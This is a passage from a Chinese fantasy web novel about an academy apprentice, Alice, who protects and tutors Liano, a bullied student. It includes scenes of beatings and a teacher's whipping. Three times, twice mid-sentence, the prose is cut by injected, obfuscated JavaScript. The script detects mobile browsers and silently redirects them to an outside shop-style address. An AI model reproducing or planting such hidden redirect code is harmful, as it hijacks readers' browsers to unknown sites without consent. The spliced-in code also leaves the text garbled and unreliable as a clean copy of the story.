“没什么特别的,就是有点累。”伊莎贝拉先是摇了摇头表示无碍,却又轻轻皱起眉毛,“可能是因为魔力。” “魔力?” “晕倒之前魔力还是很充沛的状态,但是醒来后觉得魔力就差要被耗光了!”伊莎贝拉费解地比划描述,“就好像在我不知道的时候连续轰出了十几个强力攻击魔法一样!” 如果是魔力消耗过大的话,感觉到疲惫是很正常的。 爱丽丝歪了歪头猜测,“在秘境里用了太多魔法,魔力不足才晕倒的吗?” “你这么说也有道理,但是……”伊莎贝拉陷入了片刻的沉思。 “你还记得我的第一个秘境吧?被鸟追的那个。我和你一起进入秘境的时候其实已经是第三次进入相同的秘境了,前两次应该算是没有通过秘境的考验吧,我被那个家伙追着也不知道该怎么应对,但是每次和它耗了太久时间或者用了不少魔力的时候,秘境总是会自己消散……” “啊,我记得!所以你当时才和我说还没有解决掉这个秘境。” “对!所以我觉得,秘境好像不会令人耗尽魔力甚至晕倒……” 两人叽叽喳喳讨论了一会儿,仍然没得出什么结论,奥斯维德则在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092920|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁静静地听,手搭佩剑,好像称职的护卫一样。等到两人的谈话内容逐渐转变为日常聊天时,他才适时地开了口。 “抱歉,爱丽丝,这学期开始我可能会黏伊莎贝拉比较紧,如果打扰你们不好意思。” 天呐,多么正直而理所当然的宣言! 爱丽丝看着伊莎贝拉突然抬头对奥斯维德怒目而视的面孔,拼命压住想要扬起来的嘴角。 不打扰,怎么会打扰呢!她准备把约伊莎贝拉去图书馆学习的机会都让给奥斯维德! 于是她在伊莎贝拉罕见的嗔怒神色里离开了医疗室,还贴心地帮他们把门关上了。 但是,这可难办了…… 她刚在新课程中遇到了让她如临大敌的魔法语言学,还准备向伊莎贝拉请教呢。 确认了好友无事且感情进展顺利后,爱丽丝悠闲地踱步离开,不时停下脚步望着走廊玻璃窗外的景色发呆。 其实她心里还有一个想邀请一同学习的人不是吗? 伊莎贝拉告诉她了。 利亚诺与格罗姆康特领主一族签订了契约。 理由不详,但是任何魔法契约在恶人手中都足以将人的尊严磨碎。 如果通过学习获得学院承认的魔法师身份,他有机会脱离这份契约,但是在学院的学习又需要监护者或推荐人的担保……他被架在这样不上不下的位置任意磋磨。 所以他才要承受所有莫名其妙的欺辱,才要熬着爱丽丝仍不知道缘由的疼痛完成漫长的课程,才要在奥斯维德严厉制止了礼堂中特里迪克的暴行之后,用虚脱无力的身体喘息着、颤抖着、顺从地站在施暴者身后。 爱丽丝看得出,他分明还在被无形的疼痛折磨,而她没有任何帮助他的办法,只有在漫长的结课仪式里将那个单薄的身形映在眼中。 特里迪克故技重施,他有好几次都熬到站不住了。 爱丽丝的胸口闷闷地发痛。 春季假期之后,利亚诺的身份似乎更加被别有用心的人熟知了。 仅仅在夏季学期的这几天之内爱丽丝就看到过数次,他狂奔着躲避着什么追赶他的身影,从她的视线边缘黑影般地掠过。 他似乎也在躲避她,当她在理论课就要再次坐在他身旁时,他那样明显地拉远了距离,紧绷得几乎随时要逃走。 所以爱丽丝没敢开口说什么,也没敢随意靠近,只是静静地坐在那里。 她知道他疼得厉害,身上的伤口,还有心里的伤口。她不愿随意触碰那些伤口,所以只能看他小兽般孤单地舔舐自己,为了让他安心装作什么都不知道。 但是,她真的应该这样……暂时远离他吗? ——! 一个小小的黑色的身影突然隔着主楼上方的玻璃窗映在爱丽丝眼前,骤然拽回她的思绪。 他正狂奔着躲避着什么,却因为体力耗尽而被另外几个高大的身影牵制住。 他被扭着手臂控制住,不停地挣扎,却怎么也挣脱不开。 爱丽丝的双手无意识地握紧了冰凉的窗框,心跳的声音变得无比明显。 她没办法远离他,没办法丢下他不管! 她没办法……违背自己的心意。 思绪反应过来之前,爱丽丝已经再次开始飞奔。 10. 帮助他并寻求他的帮助 他逃不掉了。 利亚诺已经被逼至墙角,先是被猛地一拽,然后是手臂被制住,紧接着肩膀处传来撕扯的痛,让他无法再逃脱半步。 他拼命挣扎,试图踢踹着双腿摆脱这几个不知为何盯上他的陌生学徒,但是—— “呃!!” 狠厉的一拳猛然砸在他柔软的腹部,他一瞬间痛到无法呼吸,只有浑身紧绷地熬过从腹部扩散着碾过全身的疼痛,又全身脱力地软下来喘息。 “你说你跑什么,请你帮个小忙而已。” 为首的学徒轻轻活动着手腕,就好像刚刚的暴行只是普通的招呼。 他似乎疑惑于利亚诺的抵抗,打量着周围被制造出的一小片狼藉,那是原本被利亚诺捧在怀中的纸笔在追逐和挣扎中凌乱地洒落在地。 他无所谓地查看着那些散落的纸页,伸出腿去用鞋尖随意翻动两下,再凭着心意顺便踩上几脚。 “理论课全优的优等生,替我们写几份课业应该轻轻松松吧,也替你长脸是不是?” 被踩皱的羊皮纸沾上了脏污,而咔哒咔哒的轻微声响是羽毛笔断裂的声音。 “这是……这是作弊……呃!!” 利亚诺说不出话了。 他有心理准备,但还是一时间受不了这样的疼。 脆弱的胃部在钝痛中又升起一种绞痛,冷汗骤然爬满前额和后背,他眼前一黑几乎就要栽倒下去,但是身体被另外几个学徒死死控制住,他甚至无法跪倒在地,也无法蜷缩起来发抖。 “装什么清高,你猜猜好心的特里迪克跟我们说了什么?只要随意对格罗姆康特吹捧几句他就什么都肯说。” 利亚诺的兜帽被扯开,黑色稍长的碎发被冷汗黏在苍白的面庞上。 那个学徒又细细解开他的整个斗篷,再扯掉踩在脚下,只为他余下单薄的衬衣。 “他说,你看上去是个硬骨头,其实折腾到位了最会服软。我想想,比如说,这里……” 他的手指在利亚诺衬衣上划过一道不长不短的横线,满意地看着他因为这个小小的举动而克制不住地细细颤抖,“被他折腾得疼得狠吧,让我们看看你是怎么求饶的,嗯?” 利亚诺听见自己的后槽牙咬紧的声音。 另一个高而壮的学徒从身后勒住他的双肩将他架起,他只有被迫展开的胸腹承受拳脚的凌虐。 挨过罚的胸膛早就是难以言说的痛痒,堪堪愈合的伤口重新绽裂,让他熬不住喉间的闷哼。 最初的问题像是做游戏被一遍遍问出,他不愿答,或者根本痛到无法答,就只有一遍遍地承受,直到单薄的衬衣慢慢渗出血痕。 * 后背贴着阴冷的石砖,爱丽丝在另一侧墙壁的遮挡下紧抿着嘴唇,她知道自己的心脏不仅是因为飞奔而疯狂跳动。 她在愤怒,她似乎从来没有体会过这样的愤怒和焦急。 但她克制着急促的呼吸,警告自己不能轻举妄动。 “爱丽丝,如果你听了这些之后仍然决定继续和他相处的话,保护好自己,你能答应我吗?” 伊莎贝拉严肃的神情仿佛还在她眼前,而她回答了“我答应你。” 一个操纵语言魔法的魔法师必须对自己的话语负责,这是言灵魔法对他们的约束。 所以她不能让自己身处险境,更何况她的冒失未必能让利亚诺从中获益,但她更不可能看着他继续忍受痛苦。 她的眼里闪过某种专注的神色,在言语形成之前,周身的风元素似乎就已经与她的意念共振起来。 向代表理性的风元素寻求帮助,传递迷惑他人的信息……她能做到! “奥斯维德大人,就在前面!” “嗯,抓紧时间!” 脚步声和交谈声顺着微风传送,听上去像是大领地的奥斯维德为学院秩序而自发开展的巡查,被他抓到可不好收场。 “不好,是那群家伙!” 墙角的几个学徒好歹顾及自身的颜面,神色顿时紧张起来。 “快走!别管他了!” “嘁,便宜你了!别以为你能逃过!” “呃……!!” 利亚诺被一把扔在墙角,逃走的学徒不忘最后在他的胸口踹上重重一脚。 这实在……太疼了…… 他抱紧双臂虚虚护住胸口,在墙角蜷缩成一团,在绵延难消的疼痛里发抖,连喘息的余裕都没有。 但是不行,他还不能放松警惕。 他不知道来者有谁,不知道他们会怎么对待他,不知道他还要承受什么,躯体上的,或者心灵上的,或者两者共同的煎熬。 好疼……好难熬…… 但是他必须……必须忍耐…… 然后他听到了熟悉的脚步声。 那人慢慢向他走来,谨慎的脚步好像怕惊吓到什么似的,又好像正在为某个濒临崩溃的人留出逃跑的空间。 但是利亚诺什么都做不到了,连压抑住身体的颤抖都做不到,他只有将自己蜷缩得更紧,试图自欺欺人地消失在这个阴暗的角落。 可是熟悉的脚步还是走近了,缓慢地却又坚定地走到离他相当近的地方。 她没有扶起他,也没有询问他的状况,而是捡起被丢在一旁揉成一团的兜帽斗篷,小心地拂去上面的灰尘,轻轻盖在他蜷缩在墙角发抖的狼狈躯体上。 ——! 利亚诺狠狠颤抖了一下,才猛然反应过来般地攥紧斗篷的布料。 他用斗篷将自己的半身和面庞彻底遮盖,把自己紧紧裹成一团,好像这层单薄的布料是他所能得到的唯一的庇护。 她都知道了。 利亚诺绝望地想。 他在礼堂中央的丑态,他任人贬低的身份,他难以启齿的伤,还有他对她的回避。 她什么都知道了。 爱丽丝没有说话。 她其实应该有很多话想和利亚诺说的,多到她都怕自己会絮絮叨叨地停不下来。 她想告诉他自己不在意,想告诉他自己很担心。 想再看他的水元素魔法,即使不能成功也没关系。 她想和他讨论让她头疼的语言符号,想和他分享春季假期从克莱因老师那里学到的新魔法,或者只是寒暄几句,问问他的假期过得怎么样。 但现在看来……应该糟透了吧。 愤怒和焦急的心跳已然平缓,只剩若有若无的担忧和心疼在轻轻坠着,让爱丽丝的胸口泛着一丝酸胀。 她很久没有距离利亚诺这么近了,近到仿佛是上次握住他手腕时的距离。 但是现在,她亲眼看见利亚诺因为此前的交集而萌生的一点点局促和羞赧全都消失得无影无踪,他又变得冷硬而破碎,和第一天见到他时一模一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092921|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过至少……他没再躲开她。 爱丽丝为他搭上斗篷的手还停留在半空中,她犹豫片刻,将一只手缓缓落下,轻轻放在他的肩头。 “……!” 利亚诺突然喘息起来,毫无理由地剧烈地喘息,就在感受到肩上触感的那一瞬间。 他好像一个一直被死死拉扯在冰冷海水里快要溺毙的人,直到这一刻才被拽出水面,真正呼吸到赖以生存的空气。 因疼痛而麻痹的感官在喘息里开始恢复,他这才在斗篷罩出的这一点点空间中感受到自己呼出的热气,还有脸颊上清清浅浅的泪痕。 还有肩上的一点点温度,和仿佛可以隔绝外界窥视的风元素魔力流动。 这是和那时相仿的,她的魔法。 “没事了,没事了……别怕,不会有其他人过来……” 耳边传来轻声如同幻觉一般的安慰,让利亚诺听不真切。 但即使没有像上次一样捉住他的手腕,肩上未曾远离的触碰已经足够无声地诉说她的存在。 他还是疼得厉害,那些难熬的痛痒和难言的苦涩,他本已准备好用很久的时间去捱过。 但是现在,他的喘息开始渐渐平缓下来。 爱丽丝一直等到眼前人的呼吸不再急促,才慢慢收回放在他肩头的那只手。 离开的时候,她的指尖好像感到一阵轻轻的颤抖,仿佛是手下的人忽然觉得冷。 她有点担心利亚诺会选择逃走,选择继续躲避她,但是他没有。 他没有动。 于是她觉得自己需要再给他一些时间。 她开始转过身来整理地面上散落的笔记,余光瞥见原本蜷缩在墙角的人正忍耐着疼痛坐起身来,动作缓慢地穿戴和整理好已经一团糟的兜帽斗篷,遮盖住面庞和衬衣上的点点血痕。 忍着痛舔舐伤口的猫猫…… 爱丽丝非礼勿视地不去细看,专注地捡起地上的纸页,仿佛那是什么需要慎重对待的珍宝。 她当然会把这些视作珍宝! 用清丽的笔迹写下的有关魔法的知识,没有什么比这些更值得令人珍惜的了。 她心痛地看着那些羊皮纸上的脏污、裂口,或者随意揉搓的折痕,将它们一点点抹开抚平了,再细致地整理好。 直到某一张纸页上的字迹让她的手指微微一顿。 不,不行,爱丽丝。 好不容易被允许靠近,应该收敛些才对。 她有些迟钝地开始感到不妥,但是有什么实在压抑不住的想法开始蠢蠢欲动。 “利亚诺……” 她试探着开了口。 倚靠在墙角的身影立刻僵硬了一瞬。 别问,拜托,别问。 他不敢抬头,也不敢看她,如果她开口问,他不知道要怎么回答。 他不敢再往下听—— “拜托!帮帮我好不好!” 爱丽丝的声音清亮,好像清澈湖面上泛起的涟漪。 即便知道这一定是某种错觉,但利亚诺透过声音仿佛能看见她闪着细碎光亮的眼神。 她一定正用那双琥珀色的眼睛望着他,像是在请求,又像是撒娇。 但是……她在说什么? 利亚诺后知后觉地愣住了,睫毛轻颤了一下,他慢慢抬起尚未恢复血色的脸庞。 “……?” 11. 与他共同探讨 “……怎么会这样?” 利亚诺微动着嘴唇轻声问。 “我也不知道。” 爱丽丝欲哭无泪地垂下脑袋。 “我以为……你是言灵法师。” 所以他没想到她所需要的帮助是关于魔法语言学。 “我确实是。” 爱丽丝轻轻歪着头,眼睛自下而上地望着他,可怜巴巴地眨了眨,似是在询问自己还有没有救。 利亚诺被那样的视线烫了一下,低下头重新看向面前的羊皮纸。 纸面上是稍显杂乱的笔迹,他看得出爱丽丝其实在每一处都认真思考了,但却总是在一些奇怪的地方与惯常的思路擦肩而过,环环相扣的咒文最终因此与理想中的效果相去甚远。 所以才会头疼到需要帮助吗? 但是…… 他不是没有在课上观察过她。 她和自己不是一个世界的人。魔力充沛、乐于学习、与元素的互动良好,她拥有那样耀眼的天赋,只需要几句话的提示,一定就能解决这些暂时遇到的小问题。 她不该和自己这样的人接触。 不该用这样的理由留住他,不该夹杂着好意地带他来到图书馆的研讨区,为他启动魔法装置划分出安全的空间,不该这样明显的关注着他的脸色,担心他的身体状况。 ……甚至最初就不该救他,这对她没有好处。 但这是他唯一能够回馈她一些什么的机会。 而且,他答应过她的,当她需要帮助的时候他不会拒绝。 所以,他竟然真的在这种荒唐的情境下开始思考,怎样去解释才能够让她理解魔法语言学的内在含义。 “魔法语言学主要是……为了在语言魔法和法阵魔法中向元素具体地表明自己的要求……” 这种感觉有些陌生,他很少和别人分享自己对魔法的理解。 而她倾听的姿态又太过于认真,让他未曾体验过一般难以适应。 “自然语言同样可以便利地施展魔法,但是在与元素沟通时很容易出现微妙的偏差……” “嗯?难道说……” 爱丽丝想到自己曾在火元素魔法课上进行的施法。 她当时请求火元素让蜡烛的火焰产生“变化”。 虽然她的本意只是需要烛焰燃烧得更加旺盛一些,但是其他一点点走神的想法似乎也被火元素捕捉到,于是,烛焰转化为丝线也被认为是她所希望的“变化”的一部分。 “也就是说,魔法语言学比起扩展自己的想法,其实好像更是在限制自己的想法?把一些只需要留在心里的东西排除在施法之外?感觉比起元素的知识更像是人类的知识呢……” 利亚诺很安静地听完她发散开来的思考,然后轻轻点头认同,又将话题带回她遇到的问题上。 “魔法语言学在这个基础上将想法集成为语言符号,所以才会有多种规则和限制。但是反过来,在使用的时候,它也同样成为可以随时取用的框架……” 他将自己的笔记拿出,被爱丽丝从地上捡起又整理好的那份,示意她对照着再次尝试。 羽毛笔在羊皮纸上轻轻写画的声音响起的时候,利亚诺甚至感受到一种短暂的安宁。 他知道这里是安全的,风元素魔法装置屏蔽了讨论者的声音和身影,没有人会来随意打扰,而她开启装置时仍然嘟着嘴略带不满的神色,仿佛是想再为这个研讨区加上什么强力防护咒。 他想说不用的,已经足够了。这里没有追赶、没有威胁、没有突如其来的疼痛,只有书籍、羽毛笔、羊皮纸,还有关于魔法的讨论,他不记得自己有多久没有感受过这种安宁了。 而这一切都来源于她。 为什么会有这样的人呢…… “抱歉哦,这样等着很无聊吧?” 爱丽丝似是随意地嘟囔,眼睛没有离开笔下的羊皮纸,仿佛能否得到回应都不要紧。 “……没事。”真的没事,他想让她知道。 “利亚诺你……一直在使用手势魔法吗?” 得到了回应,爱丽丝就有些停不下来。但她不知道利亚诺其实也惊讶于自己的顺从和坦诚,也许是因为她的语气温和无害,也许是因为……他从未体会过这样普通的谈天。 “……偶尔会练习法阵魔法。”他轻声回复。 “嗯嗯,毕竟你的魔法语言学学得这么好!”或者说,利亚诺在任何理论课上都表现优异,爱丽丝无自觉地露出一种理应如此的自豪神情,“那你有试过语言魔法吗?” 那是魔法语言学的另一个使用场景,爱丽丝觉得利亚诺的施法一定会比向来随性的自己要更加精彩。 利亚诺微微一怔,还是回答了,“……不太能成功。” 某种掠过全身的疼痛突然幻觉般地浮现出来,他不得不深吸一口气努力将其驱散。 但他的呼吸极尽克制,没有让身边的人发现异常。 爱丽丝的心底其实闪过了一丝疑惑。 很少有魔法师的语言魔法是不能成功的,最多是停留在不喜欢或不擅长的程度。 利亚诺的手势魔法也时常不太顺畅,是和这个相同的理由吗?还是说……发生了什么事削弱了他语言的力量?太多的谎言容易造成这种情况,或者是对自己语言的不信任,或者曾经为了某句话语耗费太多心力也有可能…… 啊,好像成功了! 但是一瞬的疑惑很快被兴奋和雀跃掩盖了过去,爱丽丝第一次看见自己写出的语言符号亮起代表可行的点点光亮,再也不是语义不通的文字堆砌。 她按捺着愉快的心情抬起眼偷偷观察身边的人,只见他正安静地半阖着眼,像是在某些持续紧逼的消耗中终于获得了片刻的休憩。 可是他好像还在疼。 一只手一直紧紧攥着胸前兜帽的布料没有松开过,而呼吸过了这么久仍是浅而虚浮的。 “利亚诺,你……” 爱丽丝犹豫地开口。 她知道他被欺负了,她很担心。 “你需不需要……” 吱呀—— 利亚诺立刻脸色发白地僵硬地站起身来,伴随着他的动作,椅子在地板上拖动发出刺耳的声音。 爱丽丝敢肯定他平时绝不会这样,他正因为她可能要问出的话语而慌乱地要命。 “不用!我什么都……” 似乎是因为嗓子的紧绷和干哑,他的声音哽了一下。 “……什么都不需要,如果没有别的事,我要走了。” ……炸毛的小猫。 浑身都是伤口的、强撑着发抖的、炸毛的小猫。 爱丽丝意识到,他其实是不想让她看见的。 他紧咬着尊严挺直脊背,不想让那些狼狈的姿态暴露在她面前,不想让自己成为被怜悯的对象。 可是,那他又到底是有多痛,才会在那节课上顺从地让她捉住手腕呜咽着发抖,才会在承受了墙角的凌虐之后蜷缩起身体喘息而不是从她眼前逃离。 她不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092922|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打破这些。 “我是想说……你需不需要先休息一会儿?” 她问得很轻声,柔和的眼神像是在安抚,好像怕把他吓跑了。 “其实……”她细细簌簌地在自己的羊皮纸堆里翻来翻去,翻出这张又翻出那张,“其实我还有好多问题想要问你,语言符号被写入法阵之后又变得好难,简直让人云里雾里,尤其是这些符号简写,你刚才说你有练习法阵魔法的对吧?” 细碎的话语像柔软的丝线缠住了利亚诺本应离开的脚步,爱丽丝感觉到他没有刚刚那么紧绷了,呼吸也正慢慢平缓下来,她试着再迈出一小步。 “不如说……其实这个学期我的好朋友可能都没空和我一起学习了,我可以经常找你讨论吗?我真的好喜欢你对魔法的理解方式!” 她干脆和盘托出,又用可怜兮兮的表情望着他。 “拜托,帮帮我好不好?” 突如其来的坦白砸得人六神无主,利亚诺屏住呼吸咬着牙不去回应。 他该拒绝的,他清楚自己的处境,和他接触有可能会影响到她。 而且这些也许真的令她感到困扰的问题,分明包裹着她的好意,让他光是站在这里都能感觉得到那种柔和的温暖。 这太狡猾了不是吗?“帮助她”是一个对他来说太难以拒绝的请求,因为他曾答应过的。 对,他曾答应过的。 利亚诺无措地发现自己说不出拒绝的话语。 他点头了。 * 咔嗒一声,继伊莎贝拉之后,奥斯维德也在爱丽丝对面的座位上放下了餐盘。 金发的大领主之子引来的瞩目有如实质,爱丽丝的叉子都不小心歪了一下,圆圆的小蛋糕在餐盘上咕噜咕噜滚了两圈。 “是吧,这家伙果然超级显眼的对吧……” 对面的伊莎贝拉扶额叹息,她已经彻底放弃了佩戴兜帽,任凭鲜红的长发垂在肩背。 “我好像明白你最开始为什么想要隐藏身份了,伊莎贝拉。”爱丽丝捂紧了自己的帽檐,试图成为意外与大领地拼桌的无名路人,“抱歉,但是我可能只愿意和你们一起坐上一小会儿。” “没事,我懂。” 伊莎贝拉神色复杂,一旁的奥斯维德则一脸坦然,优雅地拿起刀叉开始用餐,不去干扰女士们的聊天。 “所以怎么样了?你的身体好些了吗?”爱丽丝问。 “没有任何异常,也没有再晕倒。”伊莎贝拉摊了摊手,“所以显得更奇怪了。” “确实,据我所知罗斯戴尔血统是不会允许一个人随意晕倒的。”爱丽丝故意打趣,被伊莎贝拉瞪了一眼。 “我是觉得没什么,只要暂时观察情况就好,但是奥斯维德始终认为……”伊莎贝拉瞥了瞥旁边的人。 “我认为这件事没这么简单。”奥斯维德放下刀叉拿起餐巾,适时地接上话头,神色有些严肃,“但暂时没有更好的防范措施,只有动员附属领地的学徒们加强学院内的巡查,这也有助于减少你上次反映的情况。” 爱丽丝接收到他的视线,乖巧地用力点了点头。 那天她是借奥斯维德的名号赶走了那些围堵利亚诺的学徒,她在事后不可能不向奥斯维德说明事由和表示感谢。 虽然不明白奥斯维德为何如此警觉,但她当然也希望事态的发展可以让利亚诺轻松一些,因为他忍痛的样子实在是让她心疼。 可是…… 那些令她心疼的情况却依然持续地在发生。 12. 保护他的伤口 “没有学习的想法就离开我的课堂!” 爱丽丝的胸口骤然紧了一下。 不止是她,猛然响起的严厉话语几乎让所有的学徒都倒吸一口凉气。 没有人想到霍勒斯教授真的会抽出腰间的短鞭,所以那一刻谁也没有反应过来。 但光是短鞭抽打至皮肉的声音就足够令人生寒,仍在空气中隐约回荡的那声怒叱更是让牢狱般的教室又阴冷了几分。 霍勒斯教授以警告的眼神盯着前方,恐怖的神色让人不敢直视,而承受他怒火的对象—— 利亚诺正无言地蜷缩在地上。 疼…… 他的左手死死握着右手的小臂,而伸出的右手保持着一个不自然的僵硬的姿势,手腕连同手掌和手指都好像在不受控制地颤抖。 那是他刚刚承受责罚的地方。 短鞭猛然抽打所带来的疼痛显然还在啃噬着他,足以将人击倒的力量全部集中在右手手心这片小小的敏感的区域,一瞬间疼到他头脑空白。 利亚诺不得不屏住呼吸捱着那种痛,死死咬着嘴唇蜷缩着发抖。 但他忍耐着,没有发出任何声音,连最初那声微弱的痛极了的闷哼也似乎只是爱丽丝的错觉。 更让他难熬的是仿佛凝滞了的时间。 黑暗的偌大的教室里,恐怖的死寂,直白的注视,或者某个阴暗角落里发出的嗤笑,不论哪个都像密密麻麻的细针一样持久地扎在利亚诺的心上。 但他只有无言地承受着这些,直到从疼痛中艰难地重新找回呼吸,才能强撑着站起身来,狼狈地维护早已在发痛的自尊心。 没有吵闹,没有辩解,他克制着余痛里发颤的呼吸,默默地走出了教室。 爱丽丝看见他咬着牙将受了罚的右手垂落进斗篷宽大的阴影下,即使这个姿势会使得每一次心跳都给伤处再覆上一层难忍的胀痛。 “下一个。” 并不理会离开的学徒,霍勒斯教授收敛了神色,开口继续课堂的流程。 后一个即将施法的学徒战战兢兢地上前,面色发白地吞咽了一下,学徒之间唏嘘的声音此时才终于偷偷摸摸地响起。 担心和焦躁也从爱丽丝的胸口升起,令她简直无法继续待在这里。 她下意识地抿着嘴唇,一旁的伊莎贝拉瞥着她的神色,心下已经了然。 “去吧。”她对爱丽丝使了个眼色,挪动身体挡住她悄悄离开的身影。 霍勒斯教授的目光在这时似乎就要扫过来,却又不知为何睁一只眼闭一只眼地挪开了。 离开昏暗的教室,夏日午后的阳光在学院的白色石墙上布下柔和的光亮,让人想要眯起眼睛。 爱丽丝张望着匆忙小跑几步,终于在石墙拐角的阴影处发现了利亚诺黑色斗篷的衣角。 她松了一口气,慢慢走过去,于是那个蜷缩着坐在石墙边的身影逐渐完全出现在她的视野里。感觉到爱丽丝的靠近,他似乎轻轻瑟缩了一下,却没有逃离。 爱丽丝觉得,他们应该是稍微熟悉了一些的。 那天之后,他们在图书馆的研讨区一起度过了不少时间。大多数时候是安静地学习,有时爱丽丝会向他请教问题,他会轻声地解答,偶尔也和她讨论几句。 有几次他身上带着伤,在嘴角或手背这样明显的地方出现小块的青紫,衣角也沾上脏污,如果爱丽丝小心地保持距离不去询问,就能感觉到他从僵硬慢慢放松下来。 但是那不代表她不会心疼,每次看见他在忍痛的时候她都好担心,更别说这次,利亚诺就在她眼前咬着牙承受了那些…… 所以,差不多可以稍稍靠近一些了吗? 爱丽丝放缓脚步,在他面前慢慢低下身体。 利亚诺从兜帽的阴影下看到她伸向自己的手,他沉默着没有动作,只有睫毛不安地轻颤了一下。 思维仍旧被火辣辣的胀痛占据,他有些不理解她的意思,或者不敢去试图理解。即使每次安静的相处都让他在不知不觉间更加信任她,他所恐惧的东西还是太多了。 但是身前的人依然坚持地伸着手,手心朝上地等待着什么。她的动作里表达着一种莫名的催促,又像是某种坚定的安慰。 所以利亚诺动摇了,他犹豫地、动作缓慢地将右手递给她,将捱了罚的手心张开在她面前。 好乖。 爱丽丝悄悄压下心里痒痒的感觉,轻轻捧起他的右手,感觉到他颤抖了一下。 他的手在夏日里仍是微凉的,好像从没有机会去感受阳光的温度。粗而宽的红痕烙在他的手心,细嫩的皮肉已经因为毫不留情的鞭打而微微肿起,苍白的手指也因此轻轻发颤。 爱丽丝没想到他会在课堂上受到这样的惩罚,她很想要立刻去治愈他,想要现在就让他不再因为疼痛而颤抖,但是…… 即使掌握了简单的治愈魔法,直接对着他人施法还是太冒犯了,她忘不掉上次拉住他手腕时看到的惊惶的神色,她不愿意吓跑他。 爱丽丝微微垂眸思考几秒,从斗篷的口袋中拿出丝质的手帕,轻语着驱动水元素将其浸湿,然后动作轻柔地去清洁他的伤口。 “……” 冰凉的触感敷上胀痛的伤口,利亚诺轻轻抽气,隐忍得让人几乎感觉不到。 他也不知道自己为什么没有逃离。 疼痛本应让他紧绷着神经对所有的一切都保持警惕,拒绝帮助,拒绝靠近,因为那些他承受不了的方式会让他更加痛苦,哪怕是出于好意。但是…… 她好像从来没有逼迫过他。 没有粗暴的施法,没有强硬的决议,始终保持着让他觉得安全的距离,让他觉得,如果是她的话…… 好像再靠近一点点也可以。 手心刚捱了罚的伤处太过敏感,再柔和的触碰也不可能好受。 利亚诺好几次忍不住瑟缩,却又克制住动作,重新将右手张开,将脆弱的伤口暴露在她面前。 爱丽丝心里一片柔软,更加温柔地将湿润的手帕轻按在那些红肿上,然后再拿开手帕轻轻吹气,希望能带走梭巡在伤处折磨他的滚烫。 即使带着肿胀的红痕,他的手还是很好看,只是手指的每个指节上都带着薄薄的茧,好像熬过了什么漫长又艰苦的训练。 这种联想让爱丽丝想要皱眉,猫猫的爪子明明应该是软软的肉垫的……如果轻轻碰一碰的话,他会缩回去吗? 她偷瞄着利亚诺苍白的指尖开始走神,却没忘记最重要的目的,没有停下手上的动作。 伤口要好好保护才行,简单的愿望在爱丽丝心中盘亘。 她用手帕轻柔地包扎好利亚诺的伤痕,又继续驱动冰凉的水元素去浸润他的伤处。 水元素的本体存在不难操纵,但这些精细的处理却需要细致的关注。爱丽丝耐心地让那一点点水流缓缓流淌,慢慢带走那些肿胀的热度。 也许是伤处好受多了,又仿佛是终于不再紧绷着防备什么,她感觉到利亚诺缓缓吐出一口气,慢慢放松下来。 其实爱丽丝也被吓到了。 她一直在课上关注着利亚诺的魔法,所以亲眼看见他想要再一次尝试施法,试图让先前对他的手势毫无反应的火焰跃动起来。 可是,也许是因为某种不甘和焦躁,或是另一些无人知道的磋磨,屡次失败的施法让利亚诺下意识地扩大了手势的动作。 但这太危险了。 万一他的施法在这一次成功,那是足以产生爆炸的幅度。 爱丽丝几乎要冲上去制止他的动作,霍勒斯教授反应更快,却毫不留情地选择了让他用疼痛记住教训的方式,他痛到蜷缩在教室的中央,被所有的学徒注目。 所以他才一言不发地离开的吧,因为觉得这是他应当承受的惩罚……爱丽丝感觉到一点点苦涩。 他会难过吗? 失误,惩罚,还有众目睽睽…… ……他怎么可能不难过。 爱丽丝不确定他是否想聊聊这个话题,试探 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“我倒是更在意你说他的魔法不太顺畅,”他说,“如果他的施法没有问题的话,也许是魔力的储存和使用出现了异常……” * 从轻捧着的右手感觉到利亚诺的僵硬时,爱丽丝就明白了,这是他不想提及的话题。 没关系的,她不是一定要问,也不愿逼迫他回答。她只是想和他说说话而已,等到他想说的时候,她随时可以听。 “你是不是更喜欢水元素的魔法?我也更喜欢你的水元素魔法。其实……” 她泰然自得地继续着细细碎碎的念叨,就像浇花或喂养小动物时单方面地自言自语一样。可能和天赋和魔力挂钩的沉重话题被轻描淡写地用个人喜好带过,她的语气则像随意的聊天一样轻。 “其实来到学院的第一天我就不小心看到你施法了,那天你在湖边对不对?当时你的魔法真的很……很美,让我到现在都忘不掉……” 但是他的施法没有成功。 